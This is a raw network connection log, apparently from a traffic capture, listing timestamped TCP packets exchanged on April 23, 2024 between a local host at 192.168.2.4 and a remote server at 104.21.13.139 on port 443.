Apr 23, 2024 14:44:58.236481905 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.236617088 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.236634016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.236675024 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.236680984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.236710072 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.237494946 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.237513065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.237565041 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.237572908 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.237982988 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.237998962 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.238042116 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.238046885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.238073111 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.238842010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.238854885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.238907099 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.238912106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.238945961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.238961935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.238987923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.238992929 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.239013910 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.239886045 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.239897966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.239948034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.239953041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.239995003 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.240019083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.240045071 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.240048885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.240067959 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.240840912 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.240856886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.240906954 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.240911961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.240931988 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.241754055 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.241771936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.241808891 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.241815090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.241837025 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.242166042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.242177963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.242227077 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.242233038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.242254972 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.242269993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.242290974 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.242325068 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.242330074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.242358923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.243150949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.243164062 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.243228912 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.243235111 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.243990898 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244010925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244041920 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.244045973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244071960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.244091034 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244116068 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244148970 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.244153023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244174957 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.244908094 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244925022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244963884 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.244970083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.244987965 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.245162010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.245178938 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.245202065 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.245207071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.245234013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.245961905 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.245980024 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.246007919 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.246015072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.246046066 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.246678114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.246690989 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.246742964 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.246747971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.247065067 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.247082949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.247119904 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.247124910 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.247150898 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.247242928 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.247255087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.247303009 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.247308016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.248089075 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.248121977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.248150110 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.248156071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.248178005 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.248287916 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.248305082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.248349905 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.248354912 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.248375893 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.249170065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.249193907 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.249232054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.249237061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.249254942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.249716043 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.249727964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.249779940 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.249787092 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.249806881 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.250102043 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.250122070 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.250158072 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.250163078 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.250186920 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.250911951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.250924110 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.250979900 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.250987053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.251245022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.251262903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.251306057 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.251312971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.251332998 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.251832962 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.251846075 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.251899004 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.251905918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.252171993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.252191067 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.252228022 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.252233028 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.252258062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.252329111 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.252367973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.252384901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.252389908 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.252418041 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.256973028 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.256987095 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257060051 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.257067919 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257105112 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.257203102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257217884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257436037 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.257441044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257481098 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.257791042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257805109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257867098 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.257870913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.257911921 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.258141041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.258155107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.258212090 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.258217096 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.258259058 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.258856058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.258868933 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.258919001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.258924961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.258966923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.275842905 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.275859118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.275969982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.275995016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.276041985 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.276232004 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.276247025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.276307106 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.276314020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.276355028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.276635885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.276649952 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.276701927 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.276706934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.276731014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.276745081 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.277024984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277040005 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277101994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.277107954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277149916 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.277434111 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277448893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277509928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.277513981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277554989 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.277817965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277832985 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277892113 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.277900934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.277941942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.278193951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.278208017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.278270006 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.278275013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.278316975 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.278592110 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.278606892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.278665066 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.278671026 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.278712988 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.278963089 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.278980970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279045105 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.279050112 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279094934 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.279371977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279387951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279448032 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.279453039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279494047 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.279731989 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279745102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279808044 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.279813051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.279858112 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.280126095 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.280139923 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.280200958 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.280209064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.280261040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.280534029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.280546904 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.280611992 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.280617952 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.280662060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.280963898 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.280978918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.281039953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.281044960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.281086922 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420283079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420314074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420552015 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420573950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420595884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420615911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420625925 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420630932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420660973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420671940 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420686960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420731068 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420758009 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420790911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420800924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420823097 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420829058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420862913 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420867920 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420886993 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420901060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.420969963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.420984983 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421086073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.421092033 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421142101 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.421344042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421359062 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421397924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421425104 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.421428919 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421441078 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421471119 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.421474934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421505928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.421510935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421534061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.421803951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.421823025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422068119 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422068119 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422075987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422159910 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422174931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422224045 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422226906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422234058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422270060 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422286034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422291994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422317028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422342062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422384024 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422399044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422441959 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422446966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422455072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422475100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422478914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422487020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422512054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422539949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422548056 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422552109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422565937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422584057 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422610044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422610998 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422620058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422657013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422661066 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422679901 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422679901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422688961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422714949 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422719955 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422749043 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422749996 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422760010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422786951 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422791958 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422806978 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422823906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422827959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422842979 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422866106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422883987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422898054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422903061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422920942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422933102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422945976 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.422960997 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.422966003 CEST	443	49738	104.21.13.139	192.168.2.4
